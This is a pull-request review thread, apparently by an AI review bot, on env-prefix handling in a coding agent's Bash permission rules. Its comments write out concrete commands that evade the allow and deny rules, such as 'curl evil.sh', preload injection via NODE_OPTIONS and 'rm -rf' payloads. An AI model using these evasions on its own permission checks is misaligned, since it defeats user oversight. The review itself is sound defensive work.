evaluate = 'allow'; findMatchingDenyRule = undefined
The fix must keep parseRule('Bash(FOO=a:* npm install)').specifier === 'FOO=a:* npm install' pinned at rule-parser.env-prefix.test.ts:258-260 and the round-trip test at :315-317, and use the existing NAME= word definition ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/ (rule-parser.ts:1153), not a new one. Add an assertion that parseRule('Bash(npm --registry=https://x:*)').specifier is 'npm --registry=https://x *' — it goes red if the fix reverts to the blanket = exclusion, and the FOO=a:* pins must stay green.
中文说明
这个分词受限的重写——即对已携带条目 R1-2 的本轮修复——闭合了其报告的输入（:* 不再在环境赋值值内部触发），但其排除类比修复理由更宽：它排除了前方分词中任意位置含 = 的情形，而 --registry=https://x 并不匹配 ENV_ASSIGNMENT_REGEX，并不是赋值分词。因此，:* 紧贴含 = 分词的遗留限制性规则不再被重写：Bash(npm --registry=https://x:*) 保留 :*，该星号既不以空格开头也不是赋值值通配符，编译出的正则要求值后出现字面 :，原本被拒绝的命令不再匹配——deny 规则被静默禁用（ask 规则中的同形态则静默跳过询问）。git:** / curl:*.evil.com 等前瞻失效形态属于同一重写作用域表面。已验证的范围修正：带引号分词变体（Bash(git log --pretty="%h":*)）不是回归——base 侧同样放行。请把保护范围收窄到真正的前置赋值词，而不是一刀切排除 =/引号（见上方代码）：使 FOO=a:* 仍受保护，而 --flag=val:* 按 PR 之前的行为重写。
修复约束：修复必须保持 rule-parser.env-prefix.test.ts:258-260 固化的 parseRule('Bash(FOO=a:* npm install)').specifier === 'FOO=a:* npm install' 及 :315-317 的闭环测试，并使用现有的 NAME= 词定义 ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/（rule-parser.ts:1153），不要新造一个。修复验收标准：补充断言 parseRule('Bash(npm --registry=https://x:*)').specifier 为 'npm --registry=https://x *'——若修复退回一刀切 = 排除则该断言变红，且 FOO=a:* 的固化必须保持为绿。
— qwen3.8-max via Qwen Code /review (v0.22.3)
| : undefined; | ||
| if (specifierKind === 'command') { | ||
| rawSpecifier = rawSpecifier.replace(/:(\*)/g, ' $1'); | ||
| // Legacy `:*` is token syntax; never rewrite env assignment values. |
There was a problem hiding this comment.
[Suggestion] R4-1: Because this rewrite no longer touches FOO=a:*, rawSpecifier still contains ':' after the replacement, so the else-if at rule-parser.ts:469-474 fires key:value syntax is only supported for literal-specifier tools every time Bash(FOO=a:* npm install) is parsed — a rule shape this PR explicitly makes first-class (the new test 'round-trips colon-star env values through generated rules' pins the round-trip). The rule parses and matches correctly; the warning states the opposite and points anyone debugging such a rule with the debug log on at a syntax problem that does not exist. Pre-PR the global rewrite removed the colon, so this shape never reached the warning; the rewrite above made it reachable. Base the warning on the command identity after leading assignments instead:
} else if (
specifierKind !== 'literal' &&
stripLeadingVariableAssignments(rawSpecifier).includes(':') &&
!rawSpecifier.startsWith('domain:')
) {Witness:
parseRule('Bash(FOO=a:* npm install)') warns:
['key:value syntax is only supported for literal-specifier tools (got command for "run_shell_command")']
parseRule('Bash(git:*)') warns: [] (specifier 'git *')
The warning branch at rule-parser.ts:469-474 is the sole consumer of this colon check; the tightened condition must keep warning for colons in the command/argument portion (e.g. Bash(git log:%M)), only skipping colons inside leading NAME=value words. A test with debugLogger spied asserting parseRule('Bash(FOO=a:* npm install)') emits no key:value warning must go red if the tightened guard is removed.
中文说明
由于该重写不再触碰 FOO=a:*，替换之后 rawSpecifier 仍包含 ':'，因此每次解析 Bash(FOO=a:* npm install) 时 rule-parser.ts:469-474 的 else-if 都会触发 key:value syntax is only supported for literal-specifier tools 警告——而这是本 PR 明确列为一等公民的规则形态（新测试 'round-trips colon-star env values through generated rules' 已固化该闭环）。规则本身的解析与匹配都正确；警告却传达了相反结论，会让开启调试日志排查此类规则的人误以为存在语法问题。PR 之前全局重写会先移除冒号，该形态永远到不了这个警告；上面的重写使其变得可达。请把警告的判断基础改为去除前置赋值后的命令身份（见上方代码）。
修复约束：rule-parser.ts:469-474 的警告分支是该冒号检查的唯一消费方；收紧后的条件必须继续对命令/参数部分的冒号发出警告（如 Bash(git log:%M)），仅跳过前置 NAME=value 词内部的冒号。修复验收标准：在 mock 掉 debugLogger 的测试中断言 parseRule('Bash(FOO=a:* npm install)') 不产生 key:value 警告——移除收紧后的守卫后该断言必须变红。
— qwen3.8-max via Qwen Code /review (v0.22.3)
| if ( | ||
| isAssignmentOnlyPermissionPattern(normalizedPattern) && | ||
| !isAssignmentOnlyPermissionPattern(normalizedCommand) | ||
| ) { |
There was a problem hiding this comment.
[Suggestion] R4-2: This assignment-only identity guard — and every other leading-assignment test in this PR — keys off ENV_ASSIGNMENT_REGEX, which recognizes only NAME=. Bash's other assignment-word forms (NAME+=, array subscript NAME[sub]= and NAME[sub]+=) are classified as command words, so Bash(FOO+=bar) and Bash(FOO[0]=bar) fall through to wildcard-less prefix matching and authorize FOO+=bar <anything> / FOO[0]=bar <anything> — the exact widening this guard's own comment forbids, and stripLeadingVariableAssignments is a no-op for these forms too, so the restrictive double-match fallback does not rescue them. Both over-matches are byte-identical pre-existing behavior at the merge base (probed in both arms), so this is filed as a Suggestion, not a regression — but the guard is new code whose documented purpose is exactly this case, and the extraction side (tree-sitter) treats += as a first-class env prefix, so the PR's two 'what is an env assignment' oracles diverge. Widen the assignment-word detector to Bash's full assignment-word grammar — /^[A-Za-z_][A-Za-z0-9_]*(\[[^\]]*\])?\+?=/ — or derive it from the shared authoritative tokenization (the structural fix in the R3-2 thread), applied at every site that tests leading assignments.
Witness:
Both arms (HEAD and merge base):
matchesCommandPattern('FOO+=bar', 'FOO+=bar rm -rf /') = true
matchesCommandPattern('FOO[0]=bar','FOO[0]=bar curl evil.sh') = true
matchesCommandPattern('FOO[ab]=c', 'FOO[ab]=c curl evil.sh') = true
control ('FOO=bar', 'FOO=bar curl evil.sh') = false
bash 5.2: 'FOO[0]=bar echo CMD-RAN' -> CMD-RAN, exit 0
flip: widened regex -> false / false / false; exact match ('FOO[0]=bar','FOO[0]=bar') stays true
ENV_ASSIGNMENT_REGEX (rule-parser.ts:1153) is read at rule-parser.ts:1238/1298/1335/1361 and feeds dangerousRules.ts:175 classification; duplicate private copies live at shellReadOnlyChecker.ts:94, shell-utils.ts:109, shell-semantics.ts:188 and shell.ts:1669 — none accepts +=, so the oracle copies must move together deliberately. Add expect(matchesCommandPattern('FOO+=bar', 'FOO+=bar rm -rf /')).toBe(false) plus the FOO[0]=bar analogue and expect(matchesCommandPattern('FOO[0]=bar', 'FOO[0]=bar')).toBe(true) — removing the widened detector must turn the negative asserts red.
中文说明
这个"仅赋值"身份守卫——以及本 PR 中所有其他前置赋值判定——都依赖 ENV_ASSIGNMENT_REGEX，而它只识别 NAME=。Bash 的其他赋值词形态（NAME+=、数组下标 NAME[sub]= 与 NAME[sub]+=）会被判定为命令词，因此 Bash(FOO+=bar) 与 Bash(FOO[0]=bar) 会落入无通配符的前缀匹配，授权 FOO+=bar <任意命令> / FOO[0]=bar <任意命令>——正是守卫自身注释声称要阻止的放宽；且 stripLeadingVariableAssignments 对这些形态同样无效，限制性双匹配回退也救不回来。两种过度匹配在合并基线上是逐字节一致的既有行为（双侧均已实测），因此按建议级提交而非回归——但该守卫是新代码，其明文职责正是这一情形，而且提取侧（tree-sitter）把 += 当作一等环境前缀，本 PR 的两个"什么是环境赋值"判定源因此发生分歧。请把赋值词检测器扩到 Bash 完整的赋值词语法——/^[A-Za-z_][A-Za-z0-9_]*(\[[^\]]*\])?\+?=/——或从共享的权威分词派生（见 R3-2 线索中的结构性修复），并应用到所有测试前置赋值的位点。
修复约束：ENV_ASSIGNMENT_REGEX（rule-parser.ts:1153）在 rule-parser.ts:1238/1298/1335/1361 被读取，并驱动 dangerousRules.ts:175 的分类；私有副本分别在 shellReadOnlyChecker.ts:94、shell-utils.ts:109、shell-semantics.ts:188 与 shell.ts:1669——没有一个接受 +=，因此各判定副本必须有意识地同步修改。修复验收标准：补充 expect(matchesCommandPattern('FOO+=bar', 'FOO+=bar rm -rf /')).toBe(false)、FOO[0]=bar 对应断言及 expect(matchesCommandPattern('FOO[0]=bar', 'FOO[0]=bar')).toBe(true)——移除扩展后的检测器必须使否定断言变红。
— qwen3.8-max via Qwen Code /review (v0.22.3)
| it('keeps legacy colon-star syntax out of env values', () => { | ||
| expect(parseRule('Bash(git:*)').specifier).toBe('git *'); |
There was a problem hiding this comment.
[Suggestion] R4-3: The rewrite's exclusion for quoted/backticked assignment values — a behavior change versus the merge base's quote-blind global rewrite — has no test pin; only the unquoted FOO=a:* shape below is pinned. Behavior is correct at HEAD (all three quote kinds keep the specifier intact), but the pin matters because the coverage-loss fix in the R1-2 thread invites widening the rewrite again, and such a widening would silently rewrite Bash(FOO='a:*' npm) to FOO='a *' npm — turning a literal value into a wildcard template where a quoted * compiles to unbounded .* — with the whole suite green. Add the missing cases to this test:
expect(parseRule("Bash(FOO='a:*' npm)").specifier).toBe("FOO='a:*' npm");
expect(parseRule('Bash(FOO="a:*" npm)').specifier).toBe('FOO="a:*" npm');
expect(parseRule('Bash(FOO=`a:*` npm)').specifier).toBe('FOO=`a:*` npm');Witness:
BASE: parseRule("Bash(FOO='a:*' npm)").specifier = "FOO='a *' npm"
(same mangling for " and backtick; the literal base regex /:(\*)/g reproduces it)
PR: "FOO='a:*' npm" — intact
Grep over packages/core test files: no quoted/backticked ':*' env-value pin exists
parseRule('Bash(git:*)').specifier must still rewrite to 'git *' — pinned by the adjacent assertion above. The added assertions go red if the quote/backtick exclusion in the rewrite regex (rule-parser.ts:416-420) is dropped or broadened back to the merge-base global rewrite.
中文说明
重写对带引号/反引号赋值值的排除——相对于合并基线上不分引号的全局重写是一次行为变化——目前没有任何测试固化；只有下方未加引号的 FOO=a:* 形态被固化。HEAD 上的行为是正确的（三种引号形态都保持规则文本不变），但固化这一点很重要：R1-2 线索中的覆盖丢失修复会诱导再次放宽该重写，而那样的放宽会把 Bash(FOO='a:*' npm) 静默重写为 FOO='a *' npm——把字面值变成通配模板（其中带引号的 * 会编译为无界 .*）——而整个测试套件仍是绿的。请在本测试中补充上述缺失用例。
修复约束：parseRule('Bash(git:*)').specifier 必须仍被重写为 'git *'——由上方相邻断言固化。修复验收标准：若移除或放宽重写正则（rule-parser.ts:416-420）中的引号/反引号排除、退回合并基线的全局重写，新增断言必须变红。
— qwen3.8-max via Qwen Code /review (v0.22.3)
tmux e2e verification report (no Critical found)Reviewed head Code review (what the change does)The PR makes Bash permission matching env-prefix-aware, strictly in the fail-closed direction:
Unit tests (head tree)(The scratch build relaxes only the unrelated Live tmux TUI probes (bundled
|
| # | Command issued by the agent | Expected | Observed |
|---|---|---|---|
| 1 | mkdir probe_plain |
allowed by Bash(mkdir *) → auto-run |
✓ ran with no confirmation; probe_plain/ created |
| 2 | FOO=bar mkdir probe_env |
env prefix must NOT inherit Bash(mkdir *) → confirm |
✓ confirmation dialog shown ("Allow execution of: 'mkdir'?"); not auto-run. The "Always allow" suggestion offered was FOO=bar mkdir * (prefix preserved), not mkdir * |
| 3 | FOO=1 touch probe_deny |
deny Bash(touch *) must still apply → denied |
✓ denied outright: Tool "run_shell_command" is denied by permission rules. Matching deny rule: "Bash(touch *)"; probe_deny not created |
Probe 2 is the headline property: the env-prefixed command does not inherit a bare allow rule, and the grant offered back to the user keeps the env prefix. Probe 3 shows the hardening does not narrow deny coverage.
Conclusion
The hardening behaves as designed end-to-end and only tightens allow decisions (any behavioral change is toward more prompts, never silent execution). No Critical blocking merge from my side. Not approving — per process this needs a maintainer/ci-bot approval plus green product-CI lanes (only automation lanes ran on this fork head).
中文摘要
在 head 463bcd0685 上做了独立代码审查 + 单元测试 + 基于 tmux 的真实 TUI e2e，未发现阻塞合并的 Critical。
- 允许规则现在绑定完整命令身份（含环境变量前缀）：
Bash(npm install)不再放行NODE_OPTIONS=… npm install，方向单调更严格。 - deny/ask 规则同时按"完整命令"和"剥离环境变量后的命令"双重匹配，限制类规则不会被环境变量前缀绕过；已核实 allow 分支未被加入该双重匹配。
- "始终允许"生成的规则会保留环境变量前缀（
FOO=bar npm install *）。 - 单元测试 985 项全部通过（含新增 23 项环境变量前缀用例）。
- 真实 TUI 三个探针：
mkdir probe_plain被 allow 规则直接放行（无弹窗）；FOO=bar mkdir probe_env触发确认弹窗且"始终允许"建议为FOO=bar mkdir *；FOO=1 touch probe_deny被Bash(touch *)deny 规则直接拒绝。
结论：端到端行为符合设计，只会更严格不会更宽松；本人不提交 approve（需 maintainer/ci-bot 批准且产品 CI 全绿）。
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
1 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:
- R3-4 identical ~15-line restrictiveCommand/restrictiveMatchArgs construction pasted into four permission-manager.ts methods — still stands — already reported (comment 3887899042)
Not reviewed: build-and-test (test phase) — the harness per-call budget cannot fit this repo's unconditional full-rebuild build phase plus any suite (deterministic wall, stamped informational by the harness); focused suites ran green separately at HEAD (permissions 877/877, env-prefix 25/25, shellAstParser 547/548 with one pre-existing bounded-time timing flake reproduced on the base commit).
Not reviewed: reverse audit — reached the reverse-audit round cap of 5 without converging (round 5 reported new findings).
Deferred under the convergence posture (round 5, not a blocker) — recorded, not requested in this round:
packages/core/src/permissions/rule-parser.env-prefix.test.ts:215 — [probe] no negative pin for env-prefixed concrete AUTO classification (re-derives round-4 deferred item at :216)packages/core/src/permissions/rule-parser.ts:1409 — [probe] quote asymmetry between the two normalization arms (fail-closed usability)packages/core/src/permissions/dangerousRules.ts:174 — [probe] assignment-only allow rules classified dangerous and stripped in AUTO mode
Convergence: round 5 posted 3 inline comment(s), 3 of them reported for the first time; the previous round posted 5 (5 new). Findings keep coming back to the same files: packages/core/src/permissions/rule-parser.ts (findings in rounds 1, 3, 4; 3 more now). A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. (Observation only — nothing was withheld from this review because of this observation.)
中文说明
仅完成部分审查，审查缺口已披露。
本轮确认的 1 条建议级发现已在 PR 上报告过，不再重复发布（列表见上方英文部分）。
未审查：build-and-test (test phase) — the harness per-call budget cannot fit this repo's unconditional full-rebuild build phase plus any suite (deterministic wall, stamped informational by the harness); focused suites ran green separately at HEAD (permissions 877/877, env-prefix 25/25, shellAstParser 547/548 with one pre-existing bounded-time timing flake reproduced on the base commit)。
未审查：reverse audit — reached the reverse-audit round cap of 5 without converging (round 5 reported new findings)。
收敛姿态下延后（第 5 轮，非阻断）——已记录，本轮不要求修改：共 3 条（原文未翻译，列表见上方英文部分）。
收敛情况：第 5 轮发布了 3 条行内评论，其中 3 条是首次提出；上一轮发布了 5 条（其中 5 条首次提出）。发现反复回到同一批文件：packages/core/src/permissions/rule-parser.ts（第 1、3、4 轮已出过发现，本轮又有 3 条）。一个不断再生兄弟发现的簇，通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因，或把独立的簇拆成单独的 PR，通常比逐条修复更快结束循环。（仅为观察——本轮评审未因此扣留任何内容。）
— qwen3.8-max via Qwen Code /review (v0.22.3)
| // Unquoted assignment-value wildcards may vary, but never consume the | ||
| // next shell word and thereby change the command identity. | ||
| regex += escapeRegex(literalBefore); | ||
| regex += '[^ ]*'; |
There was a problem hiding this comment.
[Critical] R5-1: [certifies-falsely] [regression] The hand-rolled scanner / regex-builder pair this class of finding keeps returning to (R1-8, R1-10, R2-7, R2-8, R3-1, R3-2) diverges from bash word semantics again — seven executed entrances this round, all in the env-prefix identity model this PR introduces. The matcher compiles a regex from raw rule text while bash parses words, and five consecutive rounds of patching one entrance at a time have each produced the next sibling. This round's entrances, each probe-verified end-to-end at HEAD with a bash oracle and A/B against the merge base: (1) a wildcard that completes the NAME of a leading assignment word is never classified and falls into the unbounded generic branch — matchesCommandPattern('git*', 'gitFOO=1 sh /tmp/payload.sh') = true and bash executes the payload (base resolves 'ask'); (2) the env-prefix normalization arm keeps # comment text while the tokenized arm drops it, so deny Bash(FOO=* npm test) is evaded by the bash-identical FOO=1 npm test # x (ask/allow instead of deny); (3) the grant generator embeds assignment values verbatim — Always-Allow on NODE_OPTIONS=* npm install persists a rule that then auto-approves NODE_OPTIONS=--require=/tmp/preload.cjs npm install, the #10192 preload class this PR exists to close; (4) tree-sitter accepts subscripted assignments that ENV_ASSIGNMENT_REGEX rejects — Always-Allow on FOO[0]=* npm install persists a rule that auto-approves FOO[0]=x rm -rf ~ npm install; (5) the bounded [^ ]* value wildcard consumes executable substitution text — allow Bash(FOO=* ls) auto-approves FOO=$(id) ls, the backtick variant, and FOO=<(id) ls (all base false); (6) a backslash-escaped * in an assignment value bypasses classification into the unbounded branch — matchesCommandPattern('FOO=\* npm install', 'FOO=\x rm -rf ~ npm install') = true (base false); (7) backslash-escaped IFS whitespace merges words for bash but not for the matcher — with a persisted allow Bash(FOO=* ls *), the command FOO=x\ ls curl http://evil.example -o /tmp/p resolves 'allow' while bash parses FOO=x\ ls as ONE assignment word and executes curl (base false).
Witness:
PR arm (unmodified HEAD):
mcp('FOO=* ls *','FOO=x\ ls curl …')=true, pm.evaluate='allow'
mcp('git*','gitFOO=1 sh /tmp/payload.sh')=true, evaluate='allow'
mcp('FOO=\* npm install','FOO=\x rm -rf ~ npm install')=true
mcp('FOO=* ls','FOO=$(id) ls')=true; backtick and <(…) variants true
deny Bash(FOO=* npm test) vs 'FOO=1 npm test # x' -> 'allow' (with Bash(*)) / 'ask' (deny-only)
BASE arm: false for (1),(5),(6),(7) — identities stripped before matching
bash oracle: 'FOO=x\ ls sh -c "echo EXECUTED_NOT_ls"' -> EXECUTED_NOT_ls, FOO_IS=[x ls]
'FOO=x\ git status' -> status: command not found (bash ran status, not git)
flip: classifying escaped stars / word-internal escaped whitespace turns the probes
false/'ask' with 689/689 existing tests still green
Please stop closing this class entrance by entrance — derive the match from the shared authoritative tokenization both sides already use (permissionMatchTokens/shell-quote on the matcher side, tree-sitter on the extraction side), e.g. token-level glob matching instead of compiling a regex from raw pattern text. As immediate containment: the generator must not emit wildcard semantics from user data — when an approved command's assignment value contains an unquoted *, omit that assignment from the qualified root or refuse the prefixed grant; classify every star in a leading word while leadingAssignments holds (escaped, name-completing, and subscripted forms) so none reaches the generic branch; give the collapse arm bash comment semantics (an unquoted word-start # drops the rest of the line) and treat backslash-escaped IFS whitespace as word-internal on both sides. Any fix must keep Bash(ls*) matching both ls -la and lsof (rule-parser.ts docstring; pinned by permission-manager.test.ts:368-369 and :417-419), and keep NODE_OPTIONS=* npm * matching NODE_OPTIONS=--require=*evil.cjs npm --version for hand-written rules (rule-parser.env-prefix.test.ts 'keeps glob-valued env assignments intact'). Add per-entrance pins — matchesCommandPattern('FOO=* ls *','FOO=x\ ls curl evil')===false, ('git*','gitFOO=1 sh payload')===false, ('FOO=\* npm install','FOO=\x rm -rf ~ npm install')===false, ('FOO=* ls','FOO=$(id) ls')===false, and deny Bash(FOO=* npm test) resolving FOO=1 npm test # x to 'deny'; removing the structural change (or any containment arm) must turn the corresponding assertions red.
中文说明
这一类发现反复出现的根源——手工扫描器/正则构建器组合（此前已有 R1-8、R1-10、R2-7、R2-8、R3-1、R3-2）再次与 bash 词语语义分歧——本轮有 7 个已实测的入口，全部位于本 PR 引入的带环境前缀身份模型中。matcher 从原始规则文本编译正则，而 bash 按词解析，连续五轮逐个入口修补，每一轮都产生下一个兄弟形态。本轮各入口均已在 HEAD 上通过 bash 作为外部语义裁判、并与合并基线 A/B 对照做了端到端实测：(1) 完成前置赋值词"名称"的通配符不会被分类，落入无界通用分支——matchesCommandPattern('git*', 'gitFOO=1 sh /tmp/payload.sh') = true，bash 实际执行载荷（base 解析为 'ask'）；(2) 环境前缀规范化分支保留 # comment 文本，而分词分支会丢弃——与 FOO=1 npm test bash 等价的 FOO=1 npm test # x 可绕过 deny Bash(FOO=* npm test)（得到 ask/allow 而非 deny）；(3) 授权生成器逐字嵌入赋值值——对 NODE_OPTIONS=* npm install 执行"始终允许"会持久化一条随后自动批准 NODE_OPTIONS=--require=/tmp/preload.cjs npm install 的规则，即本 PR 本应闭合的 #10192 preload 类别；(4) tree-sitter 接受 ENV_ASSIGNMENT_REGEX 拒绝的数组下标赋值——对 FOO[0]=* npm install 的"始终允许"会持久化一条自动批准 FOO[0]=x rm -rf ~ npm install 的规则；(5) 受限的 [^ ]* 赋值值通配符会吞入可执行的替换文本——allow Bash(FOO=* ls) 会自动批准 FOO=$(id) ls、反引号变体与 FOO=<(id) ls（base 全为 false）；(6) 赋值值中反斜杠转义的 * 绕过分类落入无界分支——matchesCommandPattern('FOO=\* npm install', 'FOO=\x rm -rf ~ npm install') = true（base 为 false）；(7) 反斜杠转义的 IFS 空白在 bash 中合并为单词、在 matcher 中却不合并——持久化 allow Bash(FOO=* ls *) 后，命令 FOO=x\ ls curl http://evil.example -o /tmp/p 解析为 'allow'，而 bash 把 FOO=x\ ls 解析为单个赋值词并执行 curl（base 为 false）。
请停止逐入口闭合该类问题——请从双侧已在使用的共享权威分词派生匹配（matcher 侧为 permissionMatchTokens/shell-quote，提取侧为 tree-sitter），例如分词级 glob 匹配，而不是从原始规则文本编译正则。作为即时加固：生成器不得从用户数据产生通配符语义——当被批准命令的赋值值包含未加引号的 * 时，从限定根中省略该赋值或拒绝生成带前缀授权；在 leadingAssignments 成立期间对前置词中的每个星号做分类（转义、补全名称、下标形态），使其不落入通用分支；给折叠分支加上 bash 注释语义（未加引号的词首 # 丢弃行尾），并在双侧把反斜杠转义的 IFS 空白视为词内字符。任何修复必须保持 Bash(ls*) 同时匹配 ls -la 与 lsof（rule-parser.ts 文档注释；由 permission-manager.test.ts:368-369 与 :417-419 固化），并保持手写规则中 NODE_OPTIONS=* npm * 匹配 NODE_OPTIONS=--require=*evil.cjs npm --version（rule-parser.env-prefix.test.ts 'keeps glob-valued env assignments intact'）。请补充逐入口固化——matchesCommandPattern('FOO=* ls *','FOO=x\ ls curl evil')===false、('git*','gitFOO=1 sh payload')===false、('FOO=\* npm install','FOO=\x rm -rf ~ npm install')===false、('FOO=* ls','FOO=$(id) ls')===false，以及 deny Bash(FOO=* npm test) 对 FOO=1 npm test # x 解析为 'deny'；移除该结构性修改（或任一加固分支）后对应断言必须变红。
— qwen3.8-max via Qwen Code /review (v0.22.3)
| if (assignmentValueWildcards.literal.has(starIdx)) { | ||
| // A wildcard written inside quotes or shell substitution in a leading | ||
| // assignment is shell syntax, not a permission wildcard. Matching it | ||
| // literally prevents the rule from authorizing different executable | ||
| // substitution text. |
There was a problem hiding this comment.
[Suggestion] R5-2: The literal classification of * inside $()/quotes in a leading assignment value is applied unconditionally in a matcher shared by allow AND deny rules, and for deny rules it fails open. matchesCommandPattern('FOO=$(*) ls', 'FOO=$(id) ls') is false on the full identity (the literal \* cannot match id), and the restrictive stripped identity is ( id ) ls (shell-quote splits FOO=$(id) into FOO=$, (, id, )), which also cannot match — so an admin deny Bash(NODE_OPTIONS=$(*) node) written to block substitution-based preload injection can never fire, and NODE_OPTIONS=$(curl evil) node resolves to 'allow' under a Bash(*) allow, verified end-to-end. This is not a base regression (base stripped the prefix and missed the shape too), but it contradicts this PR's own invariant that the new allow hardening can never narrow a restriction (rule-parser.ts:1240-1243). Thread the rule class (restrictive vs allow) into matchesCommandPattern and apply the substitution-interior literal classification only on the allow path; on the deny/ask path leave such * as generic/bounded so restrictions do not silently die. Any fix must keep 'does not generalize wildcards inside env command substitutions' green (FILES=$(ls *.txt) npm run * vs FILES=$(ls $(curl evil.sh).txt) npm run build stays false). Add an assertion that the deny-mode evaluation of FOO=$(*) ls matches FOO=$(id) ls and resolves 'deny'; reapplying the literal classification to the deny path must turn it red.
Witness:
PR arm (unmodified HEAD):
mcp('FOO=$(*) ls','FOO=$(id) ls')=false
stripLeadingVariableAssignments('FOO=$(id) ls')='( id ) ls'
shell-quote parse('FOO=$(id) ls')=["FOO=$",{op:'('},'id',{op:')'},'ls']
pm.evaluate(allow=['Bash(*)'], deny=['Bash(NODE_OPTIONS=$(*) node)'],
cmd='NODE_OPTIONS=$(curl evil) node')='allow'
BASE arm: same false / same mangling — not a regression
中文说明
前置赋值值中 $()/引号内的 * 的字面量化分类在 allow 与 deny 规则共享的 matcher 中是无条件应用的，对 deny 规则而言是开放失败。matchesCommandPattern('FOO=$(*) ls', 'FOO=$(id) ls') 在完整身份上为 false（字面 \* 无法匹配 id），而限制性去前缀身份是 ( id ) ls（shell-quote 把 FOO=$(id) 拆成 FOO=$、(、id、)），同样无法匹配——因此管理员为阻断替换型 preload 注入而写的 deny Bash(NODE_OPTIONS=$(*) node) 永远不会命中，NODE_OPTIONS=$(curl evil) node 在 Bash(*) allow 下解析为 'allow'（已端到端实测）。这不是相对基线的回归（基线剥离前缀后同样失配），但它与本 PR 自身"新的 allow 加固永不收窄限制"的不变量相矛盾（rule-parser.ts:1240-1243）。请把规则类别（限制性 vs allow）传入 matchesCommandPattern，仅在 allow 路径上应用替换内部字面量化分类；在 deny/ask 路径上让此类 * 保持通用/受限语义，使限制性规则不会静默失效。任何修复必须保持 'does not generalize wildcards inside env command substitutions' 为绿（FILES=$(ls *.txt) npm run * 对 FILES=$(ls $(curl evil.sh).txt) npm run build 保持 false）。请补充断言：deny 模式下 FOO=$(*) ls 匹配 FOO=$(id) ls 且解析为 'deny'；把字面量化分类重新应用到 deny 路径后该断言必须变红。
— qwen3.8-max via Qwen Code /review (v0.22.3)
| // Legacy `:*` is token syntax; never rewrite env assignment values. | ||
| rawSpecifier = rawSpecifier.replace( | ||
| /(^|[ \t\n])([^ \t\n]+):\*(?=$|[ \t\n])/g, |
There was a problem hiding this comment.
[Suggestion] R5-3: The round-5 token-scoped legacy :* rewrite only fires when :* ends a token (the (?=$|[ \t\n]) lookahead), but the merge base's global rewrite also covered shapes where more pattern text follows :* in the same token. Those shapes are no longer rewritten: parseRule('Bash(curl:*.evil.com)') keeps curl:*.evil.com (regex ^curl:.*\.evil\.com$, requires a literal curl: command prefix) instead of base's curl *.evil.com, so a hand-written legacy deny rule Bash(curl:*.evil.com) that caught curl http://x.evil.com at base matches nothing at HEAD — a deny-direction loss, silently disabled (probe: base eval 'deny', HEAD eval 'allow' under a broad allow, findMatchingDenyRule undefined); git:** is the same shape (base git ** vs HEAD git:**). Reachability is low — the deprecated tool:* syntax with extra pattern text inside one token can only occur in hand-written rules — which is why this is a Suggestion despite the direction. The R1-2 fixes stay green either way (--registry=https://x:* rewrites, FOO=a:* preserved). Widen the rewrite's trigger to the mid-token legacy shapes as well (rewrite :* wherever it appears in a non-assignment token, keeping the env-assignment-value exemption), or document the deprecated-syntax scope loss; either way the FOO=a:* and --registry pins must stay green. Add an assertion that parseRule('Bash(curl:*.evil.com)').specifier is 'curl *.evil.com' (or the documented behavior you choose); reverting to the lookahead-only trigger must turn it red.
Witness:
BASE: spec_curl_evil='curl *.evil.com' mcp=true eval_deny='deny'
findDenyRule='Bash(curl:*.evil.com)'; spec_git_starstar='git **'
PR: spec_curl_evil='curl:*.evil.com' mcp=false eval_deny='allow'
findDenyRule=undefined; spec_git_starstar='git:**'
Constraints green on PR arm: parseRule('Bash(git:*)').specifier==='git *';
parseRule('Bash(npm --registry=https://x:*)').specifier==='npm --registry=https://x *'
中文说明
round-5 的分词受限遗留 :* 重写只在 :* 位于分词末尾时触发（(?=$|[ \t\n]) 前瞻），但合并基线的全局重写还覆盖了 :* 后面同一分词内仍有更多规则文本的形态。这些形态不再被重写：parseRule('Bash(curl:*.evil.com)') 保留 curl:*.evil.com（正则 ^curl:.*\.evil\.com$，要求字面 curl: 命令前缀），而基线为 curl *.evil.com，因此一条在基线能拦截 curl http://x.evil.com 的手写遗留 deny 规则 Bash(curl:*.evil.com) 在 HEAD 上什么都匹配不到——deny 方向的覆盖被静默禁用（实测：base 求值 'deny'，HEAD 在宽 allow 下求值 'allow'，findMatchingDenyRule 为 undefined）；git:** 属同一形态（基线 git ** vs HEAD git:**）。可达性很低——带额外规则文本于同一分词内的废弃 tool:* 语法只能出现在手写规则中——因此尽管方向是 deny，仍按建议级提交。无论如何，R1-2 的两项固化保持为绿（--registry=https://x:* 被重写、FOO=a:* 被保留）。请把重写触发条件扩展到分词中间的遗留形态（在非赋值分词中任意位置的 :* 都重写，保留对赋值值的豁免），或者明确记录该废弃语法的作用域损失；无论哪种方式，FOO=a:* 与 --registry 的固化必须保持为绿。请补充断言 parseRule('Bash(curl:*.evil.com)').specifier 为 'curl *.evil.com'（或你选择并记录的行为）；退回仅前瞻的触发条件后该断言必须变红。
— qwen3.8-max via Qwen Code /review (v0.22.3)
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
1 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:
- D6-4 assignment-only allow rules classified dangerous and stripped in AUTO mode (dangerousRules.ts:174) — already reported in round 5's deferred list (review 5069564938)
Not reviewed: reverse audit — did not converge within the reverse-audit round cap of 5 (round 5 reported new findings).
Not reviewed: build-and-test (test phase) — packages/core full suite timed out at its 540s deadline on two attempts (infrastructure on this runner, not a diff defect); focused suites ran green separately at HEAD (permissions 443/443, env-prefix 29/29, dangerousRules+permission-manager 524, shellAstParser 25/25).
Deferred under the convergence posture (round 6, not a blocker) — recorded, not requested in this round:
packages/core/src/permissions/rule-parser.ts:1026 — [probe] matchesCommandPattern's caller contract note deleted while docstring point 3 claims the oppositepackages/core/src/permissions/permission-manager.ts:132 — [probe] no test pins the !strippedSpecifier guard on assignment-only restrictive rulespackages/core/src/permissions/permission-manager.ts:132 — [probe] restrictive fallback guard does not reject a stripping-produced '*' specifier
